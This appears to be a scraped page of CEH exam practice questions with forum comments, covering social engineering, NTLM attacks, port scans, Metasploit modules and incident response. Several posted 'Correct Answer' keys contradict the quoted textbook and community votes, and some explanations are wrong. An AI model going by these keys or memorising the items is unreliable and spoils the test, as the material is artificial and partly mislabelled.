
What most likely happened?

- A. Matt inadvertently provided the answers to his security questions when responding to the post.
- B. Matt inadvertently provided his password when responding to the post.
- C. Matt's computer was infected with a keylogger.
- D. Matt's bank-account login information was brute forced.

Correct Answer: A

*Community vote distribution*

A (100%)

✉️👤 insaniunt 9 months, 1 week ago

Selected Answer: A

A. Matt inadvertently provided the answers to his security questions when responding to the post.  
upvoted 1 times

✉️👤 woohoolou 1 year, 1 month ago

Selected Answer: A

Matt was pwned.  
upvoted 3 times

✉️👤 Vincent\_Lu 1 year, 3 months ago

Selected Answer: A

A. Matt inadvertently provided the answers to his security questions when responding to the post.  
upvoted 1 times

✉️👤 victorfs 1 year, 4 months ago

Selected Answer: A

A. Matt inadvertently provided the answers to his security questions when responding to the post.  
upvoted 1 times

✉️👤 jeremy13 1 year, 5 months ago

Selected Answer: A

like Q198 V11  
upvoted 1 times

✉️👤 eli117 1 year, 5 months ago

Selected Answer: A

A. Matt inadvertently provided the answers to his security questions when responding to the post.

Explanation:

It is common for online accounts, such as those for banking or social media, to require users to answer security questions to verify their identity when logging in or resetting their password. These security questions are meant to be private and known only to the account owner. In this scenario, Matt responded to personal questions posted on Facebook, which may have been used to gain access to his account by guessing the answers to his security questions. It is important to be cautious when providing personal information online and to only do so through secure channels.

upvoted 2 times

Attacker Simon targeted the communication network of an organization and disabled the security controls of NetNTLMv1 by modifying the values of LMCompatibilityLevel, NTLMMinClientSec, and RestrictSendingNTLMTraffic. He then extracted all the non-network logon tokens from all the active processes to masquerade as a legitimate user to launch further attacks.

What is the type of attack performed by Simon?

- A. Combinator attack
- B. Dictionary attack
- C. Rainbow table attack
- D. Internal monologue attack

Correct Answer: D

*Community vote distribution*

D (100%)

✉️  sunce12 3 months, 1 week ago

correct is D

upvoted 1 times

✉️  insanint 9 months, 1 week ago

Selected Answer: D

D. Internal monologue attack

This is a technique that allows an attacker to retrieve NTLM hashes from a system without touching the LSASS process, which is usually protected by security solutions

upvoted 1 times

✉️  Vincent\_Lu 1 year, 3 months ago

Selected Answer: D

D. Internal monologue attack

upvoted 1 times

✉️  victorfs 1 year, 4 months ago

Selected Answer: D

D. Internal monologue attack

upvoted 1 times

✉️  jeremy13 1 year, 5 months ago

Selected Answer: D

D. Internal monologue attack

Like Sausageman

but on my books CEH V12 Module 06 P615

upvoted 2 times

✉️  sausageman 1 year, 5 months ago

Selected Answer: D

D. Internal monologue attack

CEH v12 book Module 06 Page 414

"The attacker disables the security controls of NetNTLMv1 by modifying the values of LMCompatibilityLevel, NTLMMinClientSec, and RestrictSendingNTLMTraffic."

upvoted 4 times

✉️  eli117 1 year, 5 months ago

Selected Answer: D

D. Internal monologue attack

Explanation:

In this scenario, Simon performed an internal monologue attack, also known as a pass-the-hash attack. He disabled the security controls of NetNTLMv1 and extracted all the non-network logon tokens from active processes, which he then used to masquerade as a legitimate user to launch further attacks. This attack is particularly dangerous because it allows the attacker to bypass password authentication and gain access to sensitive information or systems.

upvoted 3 times

Steve, an attacker, created a fake profile on a social media website and sent a request to Stella. Stella was enthralled by Steve's profile picture and the description given for his profile, and she initiated a conversation with him soon after accepting the request. After a few days, Steve started asking about her company details and eventually gathered all the essential information regarding her company.

What is the social engineering technique Steve employed in the above scenario?

- A. Baiting
- B. Piggybacking
- C. Diversion theft
- D. Honey trap

Correct Answer: A

*Community vote distribution*

D (100%)

 **sausageman**  1 year, 5 months ago

Selected Answer: D

D. Honey trap  
CEH Book v12 Module 09 Page 905

"The honey trap is a technique where an attacker targets a person online by pretending to be an attractive person and then begins a fake online relationship to obtain confidential information about the target company. In this technique, the victim is an insider who possesses critical information about the target organization."

upvoted 5 times

 **insaniunt**  9 months, 1 week ago

Selected Answer: D

D. Honey trap  
upvoted 1 times

 **insaniunt** 9 months, 1 week ago

D. Honey trap  
upvoted 1 times

 **Vincent\_Lu** 1 year, 3 months ago

Selected Answer: D

D. Honey trap  
upvoted 1 times

 **victorfs** 1 year, 4 months ago

Selected Answer: D

D. Honey trap Most  
upvoted 1 times

 **jeremy13** 1 year, 5 months ago

Selected Answer: D

D. Honey trap  
CEH Book V12 Module 09 P1347  
upvoted 2 times

 **eli117** 1 year, 5 months ago

Selected Answer: D

Answer: D

Explanation: Steve used the social engineering technique called a "honey trap" by creating a fake profile on a social media website to lure Stella into divulging her company details. A honey trap is a type of social engineering technique in which an attacker uses a person's emotions, desires, or curiosity to manipulate them into revealing sensitive information. In this scenario, Steve used the fake profile and attractive profile picture to gain Stella's trust and then used the conversation to gather information about her company.

upvoted 4 times

Hackers often raise the trust level of a phishing message by modeling the email to look similar to the internal email used by the target company. This includes using logos, formatting, and names of the target company. The phishing message will often use the name of the company CEO, President, or Managers. The time a hacker spends performing research to locate this information about a company is known as?

- A. Exploration
- B. Investigation
- C. Reconnaissance
- D. Enumeration

Correct Answer: C

*Community vote distribution*

C (100%)

✉️👤 **insaniunt** 9 months, 1 week ago

Selected Answer: C

C. Reconnaissance  
upvoted 1 times

✉️👤 **Vincent\_Lu** 1 year, 3 months ago

Selected Answer: C

C. Reconnaissance  
upvoted 1 times

✉️👤 **victorfs** 1 year, 4 months ago

Selected Answer: C

C. Reconnaissance  
upvoted 1 times

✉️👤 **jeremy13** 1 year, 5 months ago

Selected Answer: C

C. Reconnaissance  
Like Q63 V11  
upvoted 2 times

✉️👤 **eli117** 1 year, 5 months ago

Selected Answer: C

Answer: C

Explanation: The time a hacker spends performing research to locate information about a company is known as reconnaissance. In the case of phishing attacks, this can include gathering information about the target company's internal email structure, logos, formatting, and names of high-level employees to create a convincing phishing message.

upvoted 2 times

Attacker Lauren has gained the credentials of an organization's internal server system, and she was often logging in during irregular times to monitor the network activities. The organization was skeptical about the login times and appointed security professional Robert to determine the issue. Robert analyzed the compromised device to find incident details such as the type of attack, its severity, target, impact, method of propagation, and vulnerabilities exploited.

What is the incident handling and response (IH&R) phase, in which Robert has determined these issues?

- A. Incident triage
- B. Preparation
- C. Incident recording and assignment
- D. Eradication

Correct Answer: A

*Community vote distribution*

A (100%)

✉️👤 insaniunt 9 months, 1 week ago

Selected Answer: A

- A. Incident triage
- upvoted 1 times

✉️👤 Vincent\_Lu 1 year, 3 months ago

Selected Answer: A

- A. Incident triage
- upvoted 2 times

✉️👤 victorfs 1 year, 4 months ago

Selected Answer: A

- A. Incident triage
- upvoted 2 times

✉️👤 jeremy13 1 year, 5 months ago

Selected Answer: A

- A. Incident Triage
- Like Q216 V11  
CEH Book v12 Module 01 P 76
- upvoted 3 times

✉️👤 sausageman 1 year, 5 months ago

Selected Answer: A

- A. Incident Triage
- CEH Book v12 Module 01 Page 49

"In this phase, the identified security incidents are analyzed, validated, categorized, and prioritized. The IH&R team further analyzes the compromised device to find incident details such as the type of attack, its severity, target, impact, and method of propagation, and any vulnerabilities it exploited."

upvoted 3 times

✉️👤 eli117 1 year, 5 months ago

Selected Answer: A

Incident triage involves initial investigation and analysis of the incident to determine its severity, scope, and potential impact. In this phase, the incident response team identifies the type of incident, the systems affected, and the potential damage. Once the incident is triaged, it is assigned to an appropriate team or individual for further investigation and response.

upvoted 2 times

At what stage of the cyber kill chain theory model does data exfiltration occur?

- A. Weaponization
- B. Actions on objectives
- C. Command and control
- D. Installation

Correct Answer: **B**

*Community vote distribution*

B (100%)

✉  qtygbapjpesdayazko 7 months ago

Selected Answer: B

this is the way  
upvoted 1 times

✉  insanaint 9 months, 1 week ago

Selected Answer: B

B. Actions on objectives  
upvoted 1 times

✉  Kalegesa 10 months ago

B.Actions on objectives  
upvoted 1 times

✉  Vincent\_Lu 1 year, 3 months ago

Selected Answer: B

B. Actions on objectives  
upvoted 1 times

✉  victorfs 1 year, 4 months ago

Selected Answer: B

B. Actions on objectives  
upvoted 1 times

✉  jeremy13 1 year, 5 months ago

Selected Answer: B

B. Actions on objectives  
Like Q151 V11  
Like Sausageman (CEH V12 Module 01 P21)  
Actions on Objectives is the last step of cyber kill chain  
upvoted 2 times

✉  sausageman 1 year, 5 months ago

Selected Answer: B

B. Actions on objectives  
CEH Book v12 Module 01 Page 14

"The adversary controls the victim's system from a remote location and finally accomplishes their intended goals. The adversary gains access to confidential data, disrupts the services or network, or destroys the operational capability of the target by gaining access to its network and compromising more systems. Also, the adversary may use this as a launching point to perform other attacks."

upvoted 3 times

✉  eli117 1 year, 5 months ago

Selected Answer: B

Answer: B

Explanation: The cyber kill chain theory model is a seven-step model that describes the stages of a cyberattack. The seven steps are: reconnaissance, weaponization, delivery, exploitation, installation, command and control, and actions on objectives. Data exfiltration occurs during the sixth stage, which is actions on objectives. This stage involves the attacker taking the desired action, which can include data theft or destruction. The attacker may also attempt to cover their tracks to avoid detection.

upvoted 3 times

✉  qtygbapjpesdayazko 7 months ago

this is the way  
upvoted 1 times

Johnson, an attacker, performed online research for the contact details of reputed cybersecurity firms. He found the contact number of sibertech.org and dialed the number, claiming himself to represent a technical support team from a vendor. He warned that a specific server is about to be compromised and requested sibertech.org to follow the provided instructions. Consequently, he prompted the victim to execute unusual commands and install malicious files, which were then used to collect and pass critical information to Johnson's machine.

What is the social engineering technique Steve employed in the above scenario?

- A. Diversion theft
- B. Quid pro quo
- C. Elicitation
- D. Phishing

Correct Answer: C

*Community vote distribution*

B (70%)

C (30%)

✉️  Vincent\_Lu Highly Voted  1 year, 3 months ago

Selected Answer: C

- A. Diversion theft: A technique involving distraction to commit theft or stealing.
- B. Quid pro quo: An exchange where one party provides value in return for a benefit.
- C. Elicitation: Gathering information through skilled questioning or social engineering.
- D. Phishing: Fraudulent technique using deception to obtain sensitive information.

upvoted 9 times

✉️  fortinetmaster Highly Voted  1 year, 5 months ago

Selected Answer: B

Correct B: Quid pro quo  
CEH Book v12 Page 1341  
Attackers call numerous random numbers within a company, claiming to be from technical support.  
They offer their service to end users in exchange for confidential data or login credentials

upvoted 8 times

✉️  Binx Most Recent  1 month, 3 weeks ago

B. Quid pro quo

In this scenario, Johnson pretends to be from a technical support team and warns the target about a supposed threat. He then instructs the target to execute certain commands and install malicious files, offering the supposed benefit of preventing a server compromise. This exchange of providing help in return for the execution of malicious instructions is characteristic of quid pro quo in social engineering.

upvoted 1 times

✉️  ametah 3 months, 1 week ago

Selected Answer: B

Quid Pro Quo Quid pro quo is a Latin phrase that means "something for something." In this technique, attackers keep calling random numbers within a company, claiming to be calling from technical support. This is a baiting technique where attackers offer their service to end-users in exchange of confidential data or login credentials.  
CEHv12 Module 09 Social Engineering Page 1348

upvoted 1 times

✉️  insaniant 9 months, 1 week ago

Selected Answer: B

B. Quid pro quo

upvoted 1 times

✉️  hellooooooods 10 months, 1 week ago

Selected Answer: B

In this technique, attackers keep calling random numbers within a company, claiming to be calling from technical support. This is a baiting technique where attackers offer their service to end-users in exchange of confidential data or login credentials

upvoted 1 times

✉️  IPconfig 11 months, 1 week ago

Selected Answer: B

### Quid Pro Quo

an attacker gathers random phone numbers of the employees of a target organization. They then start calling each number, pretending to be from the IT department. The attacker eventually finds someone with a genuine technical issue and offers their service to resolve it. The attacker can then ask the victim to follow a series of steps and to type in the specific commands to install and launch malicious files that contain malware designed to collect sensitive information

upvoted 2 times

✉  Attila777 11 months, 2 weeks ago

definetly C.

elicitation: In requirements engineering, requirements elicitation is the practice of researching and discovering the requirements of a system from users, customers, and other stakeholders. The practice is also sometimes referred to as "requirement gathering".

upvoted 2 times

✉  victorfs 1 year, 4 months ago

Selected Answer: C

The correct option is C.

Elicitacion.

Steve uses persuasion and manipulation to extract sensitive information from the victim.

Where is the Quid pro quo? The victim dont get nothing!

upvoted 1 times

✉  mikelpal 3 months, 2 weeks ago

\*\*Answer is B. "he prompted the victim to execute unusual commands and install malicious files, which were then used to collect and pass critical information to Johnson's machine."

upvoted 1 times

✉  Tafulu 1 year, 2 months ago

I believe the quid pro quo here is hey your server is going to die, I'm technical support and will help you prevent this. I just need you to download these files and update the system so that I can fix it.

upvoted 2 times

✉  jeremy13 1 year, 5 months ago

Selected Answer: B

same page as fortinetmaster => yeah we have the same book ;-)

upvoted 2 times

✉  sausageman 1 year, 5 months ago

Selected Answer: B

B. Quid pro quo

CEH Book v12 Module 09 Page 905

"Quid pro quo is a Latin phrase that means "something for something." In this technique, attackers keep calling random numbers within a company, claiming to be calling from technical support. This is a baiting technique where attackers offer their service to end-users in exchange of confidential data or login credentials."

upvoted 4 times

✉  eli117 1 year, 5 months ago

Selected Answer: B

B. Quid pro quo. In this technique, the attacker offers something of value, in this case, a warning about a compromised server, in exchange for access or information. In this case, Johnson offered to help the victim prevent an attack in progress, but in reality, he was using the opportunity to install malware and steal sensitive information.

upvoted 4 times

An organization decided to harden its security against web-application and web-server attacks. John, a security personnel in the organization, employed a security scanner to automate web-application security testing and to guard the organization's web infrastructure against web-application threats. Using that tool, he also wants to detect XSS, directory transversal problems, fault injection, SQL injection, attempts to execute commands, and several other attacks.

Which of the following security scanners will help John perform the above task?

- A. AlienVault® OSSIMTM
- B. Syhunt Hybrid
- C. Saleae Logic Analyzer
- D. Cisco ASA

Correct Answer: **B**

*Community vote distribution*

B (100%)

✉️  Vincent\_Lu Highly Voted  1 year, 3 months ago

Selected Answer: B

- A. AlienVault OSSIMTM: An open-source SIEM platform for security event and log data.
- B. Syhunt Hybrid: Web app security testing tool for finding vulnerabilities.
- C. Saleae Logic Analyzer: Hardware device for digital signal analysis.
- D. Cisco ASA: Network security device with firewall, VPN, and IPS features.

upvoted 5 times

✉️  insaniunt Most Recent  9 months, 1 week ago

Selected Answer: B

- B. Syhunt Hybrid

upvoted 1 times

✉️  jeremy13 1 year, 5 months ago

Selected Answer: B

- B. Syhunt Hybrid

Like Q380 V11  
CEH Book V12 Module 13 P1860

B. Syhunt Hybrid  
from book :  
The Syhunt Hybrid scanner automates web application security testing and guards the organization's web infrastructure against web application security threats. Syhunt Dynamic crawls websites and detects XSS, directory transversal problems, fault injection, SQL injection, attempts to execute commands, and several other attacks. Syhunt Hybrid creates signatures to detect application vulnerabilities and prevents logout. It analyzes JavaScript (JS), logs suspicious responses, and tests errors for review.

Figure

upvoted 2 times

✉️  eli117 1 year, 5 months ago

Selected Answer: B

Syhunt Hybrid is a web application scanner that is specifically designed to detect and prevent web-application and web-server attacks. It can automatically test web applications for common vulnerabilities, including XSS, directory traversal, fault injection, SQL injection, command injection, and others. AlienVault® OSSIMTM is a unified security management platform that includes intrusion detection, asset management, vulnerability assessment, and other security features, but it does not have a web application scanner. Saleae Logic Analyzer is a hardware tool used for analyzing digital signals, and Cisco ASA is a security appliance used for firewall, VPN, and intrusion prevention.

upvoted 2 times

Which of the following Metasploit post-exploitation modules can be used to escalate privileges on Windows systems?

- A. getsystem
- B. getuid
- C. keylogrecorder
- D. autoroute

Correct Answer: **D**

*Community vote distribution*

A (100%)

✉  a307962 2 months, 3 weeks ago

Selected Answer: A

- A. getsystem  
upvoted 1 times

✉  sshksank 3 months, 3 weeks ago

Selected Answer: A

CEH V12, Page.688  
try to escalate the privileges by issuing a getsystem command that attempts to elevate the user privileges.  
upvoted 1 times

✉  insanint 9 months, 1 week ago

Selected Answer: A

- A. getsystem

This is a Metasploit post-exploitation module that can be used to escalate privileges on Windows systems by abusing various techniques, such as named pipe impersonation, service exploitation, or token duplication  
upvoted 2 times

✉  Vincent\_Lu 1 year, 3 months ago

Selected Answer: A

- A. getsystem  
upvoted 3 times

✉  Vincent\_Lu 1 year, 2 months ago

- A. getsystem: This module elevates privileges on the target system, providing system-level access.
  - B. getuid: This module retrieves identity information of the current user, such as the username and privilege level.
  - C. keylogrecorder: This module records keyboard inputs, including passwords and sensitive information.
  - D. autoroute: This module configures routing information on the exploited system for easier access to other networks or hosts.
- upvoted 3 times

✉  victorfs 1 year, 4 months ago

Selected Answer: A

- A. Getsystem  
upvoted 2 times

✉  jeremy13 1 year, 5 months ago

Selected Answer: A

- A. getsystem  
Like Q341 V11  
upvoted 3 times

✉  eli117 1 year, 5 months ago

Selected Answer: A

The getsystem module is a built-in Metasploit module that attempts to elevate the privileges of the current user to the highest possible level, including SYSTEM-level privileges. The getuid module is used to retrieve the user ID of the current user on the target system. The keylogrecorder module is used to log keystrokes on the target system, and the autoroute module is used to add a route to the target system. Neither of these modules is used for privilege escalation.

upvoted 4 times

Sam is a penetration tester hired by Inception Tech, a security organization. He was asked to perform port scanning on a target host in the network. While performing the given task, Sam sends FIN/ACK probes and determines that an RST packet is sent in response by the target host, indicating that the port is closed.

What is the port scanning technique used by Sam to discover open ports?

- A. Xmas scan
- B. IDLE/IPID header scan
- C. TCP Maimon scan
- D. ACK flag probe scan

Correct Answer: D

*Community vote distribution*

C (86%) 14%

✉  sshksank 3 months, 3 weeks ago

Selected Answer: C

CEH V12 BOOK; Page 302

upvoted 2 times

✉  insanint 9 months ago

Selected Answer: C

C. TCP Maimon scan

This scan sends FIN/ACK probes to the target ports and determines their status based on the response. If the port is open, no response is sent back. If the port is closed, an RST packet is sent back

upvoted 2 times

✉  YourFriendlyNeighborhoodSpider 10 months, 3 weeks ago

Selected Answer: C

IPconfig 2 weeks, 3 days ago

C

TCP Maimon scan

This scan technique is very similar to NULL, FIN, and Xmas scan, but the probe used here is FIN/ACK. In most cases, to determine if the port is open or closed, the RST packet should be generated as a response to a probe request. However, in many BSD systems, the port is open if the packet gets dropped in response to a probe.

ACK Flag Probe Scan

Attackers send TCP probe packets with the ACK flag set to a remote device and then analyze the header information (TTL and WINDOW field) of the received RST packets to find out if the port is open or closed.

Since the question says FIN/ACK probes not just ACK Flag probes the answer should be TCP Maimon scan

upvoted 3 times

✉  IPconfig 11 months, 1 week ago

C

TCP Maimon scan

This scan technique is very similar to NULL, FIN, and Xmas scan, but the probe used here is FIN/ACK. In most cases, to determine if the port is open or closed, the RST packet should be generated as a response to a probe request. However, in many BSD systems, the port is open if the packet gets dropped in response to a probe.

ACK Flag Probe Scan

Attackers send TCP probe packets with the ACK flag set to a remote device and then analyze the header information (TTL and WINDOW field) of the received RST packets to find out if the port is open or closed.

Since the question says FIN/ACK probes not just ACK Flag probes the answer should be TCP Maimon scan

upvoted 1 times

✉  woohoolou 1 year, 1 month ago

Selected Answer: C

Answer is definitely C. It is clearly in the CEH book. TCP Maimon scans use a FIN/ACK probe.

The people who chose D were using chatbots like ChatGPT to verify the answer. Unfortunately ChatGPT does not know what a TCP Maimon scan is at the moment so it hallucinates the answer as D.

upvoted 4 times

✉  **ZacharyDriver** 1 year, 2 months ago

Selected Answer: C

C. TCP Maimon scan

upvoted 2 times

✉  **Vincent\_Lu** 1 year, 3 months ago

Selected Answer: D

I choose D. ACK flag probe scan  
but anyone truely knows the correct answer?

upvoted 1 times

✉  **Bal7a** 1 year, 3 months ago

D. ACK flag probe scan

In an ACK flag probe scan, the scanner sends TCP ACK packets to various ports on the target host. If the target host responds with an RST packet, it indicates that the port is closed. However, if there is no response or a different response is received, it suggests that the port is open or filtered.

The other scanning techniques mentioned are as follows:

A. Xmas scan: This scan involves sending packets with the FIN, URG, and PUSH flags set, probing the target host for open ports.

B. IDLE/IPID header scan: This scan examines the IP ID field in the packet header to determine if it increments predictably, indicating the presence of an open port.

C. TCP Maimon scan: This scan uses the TCP Maimon technique to send packets with different flag combinations to determine the state of the port.

Therefore, based on the given information, the correct answer is D. ACK flag probe scan.

upvoted 4 times

✉  **victorfs** 1 year, 4 months ago

Selected Answer: C

C. TCP Maimon scan

upvoted 2 times

✉  **victorfs** 1 year, 4 months ago

Selected Answer: C

C. TCP Maimon scan

upvoted 3 times

✉  **victorfs** 1 year, 4 months ago

Selected Answer: C

C. TCP Maimon scan

upvoted 2 times

✉  **victorfs** 1 year, 4 months ago

Selected Answer: D

D. ACK flag probe scan.

upvoted 1 times

✉  **victorfs** 1 year, 4 months ago

Sorry, the correcto option is C.

TCP Maimon scan

upvoted 1 times

✉  **jeremy13** 1 year, 5 months ago

Selected Answer: C

C. TCP Maimon scan

Like V11 Q170

CEH Book V12 Module 03 P302

from book :

\*Probe packet (FIN/ACK)

==> No response - Port is open

==> ICMP unreachable error response - Port is filtered

==> RST packet response - Port is closed

upvoted 4 times

✉  **jeremy13** 1 year, 4 months ago

<https://nmap.org/book/scan-methods-maimon-scan.html>

upvoted 3 times

✉  **mnemgig** 1 year, 1 month ago

From NMAP:

The Maimon scan is named after its discoverer, Uriel Maimon. He described the technique in Phrack Magazine issue #49 (November 1996). Nmap, which included this technique, was released two issues later. This technique is exactly the same as NULL, FIN, and Xmas scan, except

that the probe is FIN/ACK. According to RFC 793 (TCP), a RST packet should be generated in response to such a probe whether the port is open or closed. However, Uriel noticed that many BSD-derived systems simply drop the packet if the port is open.

upvoted 2 times

✉️  eli117 1 year, 5 months ago

Selected Answer: D

In an ACK flag probe scan, the scanner sends an ACK packet to a port on the target host. If the port is open, the target host will respond with an RST packet, indicating that it received the ACK packet but did not know how to handle it. If the port is closed, the target host will respond with an RST packet, indicating that it received the ACK packet but could not complete the connection. Xmas scan is a type of port scan that sends packets with the FIN, PSH, and URG flags set, while IDLE/IPID header scan and TCP Maimon scan are not commonly used port scanning techniques.

upvoted 2 times

An organization has automated the operation of critical infrastructure from a remote location. For this purpose, all the industrial control systems are connected to the Internet. To empower the manufacturing process, ensure the reliability of industrial networks, and reduce downtime and service disruption, the organization decided to install an OT security tool that further protects against security incidents such as cyber espionage, zero-day attacks, and malware.

Which of the following tools must the organization employ to protect its critical infrastructure?

- A. Robotium
- B. BalenaCloud
- C. Flowmon
- D. IntentFuzzer

Correct Answer: **B**

*Community vote distribution*

C (100%)

✉️  eli117  1 year, 5 months ago

Selected Answer: C

Flowmon is an OT security tool that is designed to protect against security incidents such as cyber espionage, zero-day attacks, and malware in critical infrastructure environments. It can detect and prevent network anomalies and attacks on industrial control systems and help ensure the reliability and availability of industrial networks. Robotium is a mobile app testing framework, BalenaCloud is a container-based platform for building and deploying IoT applications, and IntentFuzzer is an Android app testing tool. None of these tools are designed for OT security or protecting critical infrastructure.

upvoted 10 times

✉️  insaniunt  9 months ago

Selected Answer: C

C. Flowmon

Flowmon is an OT security tool that provides visibility and protection for industrial networks and critical infrastructure

upvoted 1 times

✉️  Vincent\_Lu 1 year, 3 months ago

Selected Answer: C

A. Robotium: An open-source testing framework for automating Android app testing, simulating user interactions.

B. BalenaCloud: IoT development platform for building, deploying, and managing IoT devices.

C. Flowmon: Network traffic analysis and security monitoring solution for detecting abnormal behavior and network attacks.

D. IntentFuzzer: Android app vulnerability testing tool for testing Intent handling and discovering security vulnerabilities.

upvoted 3 times

✉️  victorfs 1 year, 4 months ago

Selected Answer: C

C. Flowmon

upvoted 1 times

✉️  jeremy13 1 year, 5 months ago

Selected Answer: C

C. Flowmon

Like V11 Q161

upvoted 2 times

✉️  sTaTiK 1 year, 5 months ago

Selected Answer: C

Flowmon is correct

upvoted 1 times

Heather's company has decided to use a new customer relationship management tool. After performing the appropriate research, they decided to purchase a subscription to a cloud-hosted solution. The only administrative task that Heather will need to perform is the management of user accounts. The provider will take care of the hardware, operating system, and software administration including patching and monitoring.

Which of the following is this type of solution?

- A. IaaS
- B. SaaS
- C. PaaS
- D. CaaS

Correct Answer: **B**

*Community vote distribution*

B (100%)

 Vincent\_Lu 1 year, 3 months ago

Selected Answer: B

B. SaaS

upvoted 1 times

 victorfs 1 year, 4 months ago

Selected Answer: B

B. SaaS

upvoted 1 times

 jeremy13 1 year, 5 months ago

Selected Answer: B

B. SaaS

Like V11 Q152

upvoted 2 times

 eli117 1 year, 5 months ago

Selected Answer: B

In a SaaS model, the software application is hosted on the cloud provider's infrastructure, and the provider is responsible for managing the underlying hardware, operating system, and software. The user accesses the software through a web browser or an application, and the provider is responsible for patching, updating, and monitoring the application. In this scenario, the customer relationship management tool is hosted on the cloud provider's infrastructure, and Heather's company is only responsible for managing user accounts. IaaS (Infrastructure as a Service) provides access to virtualized computing resources over the internet, PaaS (Platform as a Service) provides a platform for developers to build and deploy applications, and CaaS (Containers as a Service) provides a container-based platform for deploying and managing applications.

upvoted 3 times

Juliet, a security researcher in an organization, was tasked with checking for the authenticity of images to be used in the organization's magazines. She used these images as a search query and tracked the original source and details of the images, which included photographs, profile pictures, and memes.

Which of the following footprinting techniques did Juliet use to finish her task?

- A. Google advanced search
- B. Meta search engines
- C. Reverse image search
- D. Advanced image search

Correct Answer: C

*Community vote distribution*

C (100%)

✉  **insaniunt** 9 months ago

Selected Answer: C

C. Reverse image search.

This technique allows users to upload an image or enter an image URL and find other websites that contain the same or similar images  
upvoted 1 times

✉  **Vincent\_Lu** 1 year, 3 months ago

Selected Answer: C

C. Reverse image search  
upvoted 1 times

✉  **victorfs** 1 year, 4 months ago

Selected Answer: C

C. Reverse image search  
upvoted 1 times

✉  **jeremy13** 1 year, 5 months ago

Selected Answer: C

C. Reverse image search  
Like V11 Q378  
upvoted 2 times

✉  **jeremy13** 1 year, 5 months ago

CEH Book V12 Module 02 P122  
upvoted 2 times

✉  **eli117** 1 year, 5 months ago

Selected Answer: C

C. Reverse image search - Juliet used the images as search queries and searched the web for similar images, allowing her to track down the original source and details of the images. This technique can be done using search engines such as Google Images or TinEye, and is used to determine the origin and authenticity of images.

upvoted 2 times

Mary, a penetration tester, has found password hashes in a client system she managed to breach. She needs to use these passwords to continue with the test, but she does not have time to find the passwords that correspond to these hashes.

Which type of attack can she implement in order to continue?

- A. Pass the hash
- B. Internal monologue attack
- C. LLMNR/NBT-NS poisoning
- D. Pass the ticket

Correct Answer: A

*Community vote distribution*

A (100%)

✉️  a307962 2 months, 3 weeks ago

Selected Answer: A

- A. Pass the hash  
upvoted 1 times

✉️  insanint 9 months ago

Selected Answer: A

- A. Pass the hash  
upvoted 1 times

✉️  IPconfig 11 months, 1 week ago

A hash injection/PtH attack allows an attacker to inject a compromised hash into a local session and use the hash to validate network resources. The attacker finds and extracts a logged-on domain admin account hash. The attacker uses the extracted hash to log on to the domain controller. Module 06 Page 6 CEHV12  
upvoted 1 times

✉️  Vincent\_Lu 1 year, 3 months ago

Selected Answer: A

- A. Pass the hash: An attack where the attacker uses a hashed value instead of the actual password to gain unauthorized access.  
B. Internal monologue attack: Stealing a user's internal thoughts or dialogues from a system to obtain sensitive information.  
C. LLMNR/NBT-NS poisoning: Exploiting vulnerabilities in LLMNR and NBT-NS protocols to redirect hostname resolution and potentially enable man-in-the-middle attacks or eavesdropping.  
D. Pass the ticket: Leveraging stolen authentication tickets to impersonate identities and gain unauthorized access to systems or services.  
upvoted 2 times

✉️  victorfs 1 year, 4 months ago

Selected Answer: A

- A. Pass the hash  
upvoted 1 times

✉️  jeremy13 1 year, 5 months ago

Selected Answer: A

- A. Pass the hash  
Like V11 Q399  
upvoted 1 times

✉️  eli117 1 year, 5 months ago

Selected Answer: A

- A. Pass the hash attack, where she can use the captured password hash to authenticate to the system without knowing the original password. This attack is commonly used when password cracking is not feasible. B is an internal monologue attack, C is LLMNR/NBT-NS poisoning, and D is Pass the ticket.  
upvoted 1 times

Morris, a professional hacker, performed a vulnerability scan on a target organization by sniffing the traffic on the network to identify the active systems, network services, applications, and vulnerabilities. He also obtained the list of the users who are currently accessing the network.

What is the type of vulnerability assessment that Morris performed on the target organization?

- A. Credentialed assessment
- B. Internal assessment
- C. External assessment
- D. Passive assessment

Correct Answer: D

*Community vote distribution*

D (100%)

✉  qtygbapjpesdayazko 7 months ago

Selected Answer: D

D. Passive assessment

upvoted 1 times

✉  insanint 9 months ago

Selected Answer: D

D. Passive assessment

A passive assessment is a type of vulnerability scan that does not send any packets or probes to the target network, but instead relies on sniffing the network traffic to gather information

upvoted 1 times

✉  SoloMaan 10 months, 1 week ago

External Assessment is right one, How could be passive If he has obtained list of users its now Active , but we don't have active here so only left good option is External Assessment.

upvoted 2 times

✉  IPconfig 11 months, 1 week ago

Passive Assessment Passive assessments sniff the traffic present on the network to identify the active systems, network services, applications, and vulnerabilities. Passive assessments also provide a list of the users who are currently accessing the network.

Module 05 Page 553 CEHV12

upvoted 1 times

✉  Vincent\_Lu 1 year, 3 months ago

Selected Answer: D

A. Credentialed assessment: Assessment with authorized access for in-depth security testing.

B. Internal assessment: Assessment from within the organization to identify vulnerabilities.

C. External assessment: Assessment simulating attacks from external threats.

D. Passive assessment: Assessment through monitoring network traffic and system configurations.

upvoted 3 times

✉  victorfs 1 year, 4 months ago

Selected Answer: D

D. Passive assessment

upvoted 1 times

✉  jeremy13 1 year, 5 months ago

Selected Answer: D

D. Passive assessment

Like V11 Q233

Book CEH V12 Module 05 P553

from book :

Passive assessments sniff the traffic present on the network to identify the active systems, network services, applications, and vulnerabilities. Passive assessments also provide a list of the users who are currently accessing the network.

upvoted 4 times

✉  eli117 1 year, 5 months ago

Selected Answer: D

D. Passive assessment, which involves monitoring network traffic and systems to identify vulnerabilities without actively engaging with the target systems. This approach is less intrusive and less likely to trigger alerts or alarms on the target network.

upvoted 2 times

Which of the following protocols can be used to secure an LDAP service against anonymous queries?

- A. NTLM
- B. RADIUS
- C. WPA
- D. SSO

Correct Answer: C

*Community vote distribution*

A (80%)      B (20%)

✉️👤 jeremy13 [Highly Voted] 1 year, 5 months ago

Selected Answer: A

A. NTLM  
Like V11 Q240  
CEH Book V12 Module 04 Page 503

from book :

"Use NT LAN Manager (NTLM), Kerberos, or any basic authentication mechanism to limit access to legitimate users."

upvoted 9 times

✉️👤 [Removed] [Highly Voted] 9 months, 2 weeks ago

Selected Answer: A

This is a poorly worded question with two correct answers, A. NTLM and B. RADIUS. If you are an Information Security purist, you will argue that B. RADIUS is superior to A. NTLM. But if you want to pass the exam you will select A. NTLM which is the official CEH answer per the CEH Book V12 Module 04. This was an exam question for me when I took the exam on 13 Dec 2023.

upvoted 8 times

✉️👤 qtygbapjpesdayazko 7 months ago

This is the way

upvoted 3 times

✉️👤 sunce12 [Most Recent] 3 months, 1 week ago

A. NTLM  
upvoted 1 times

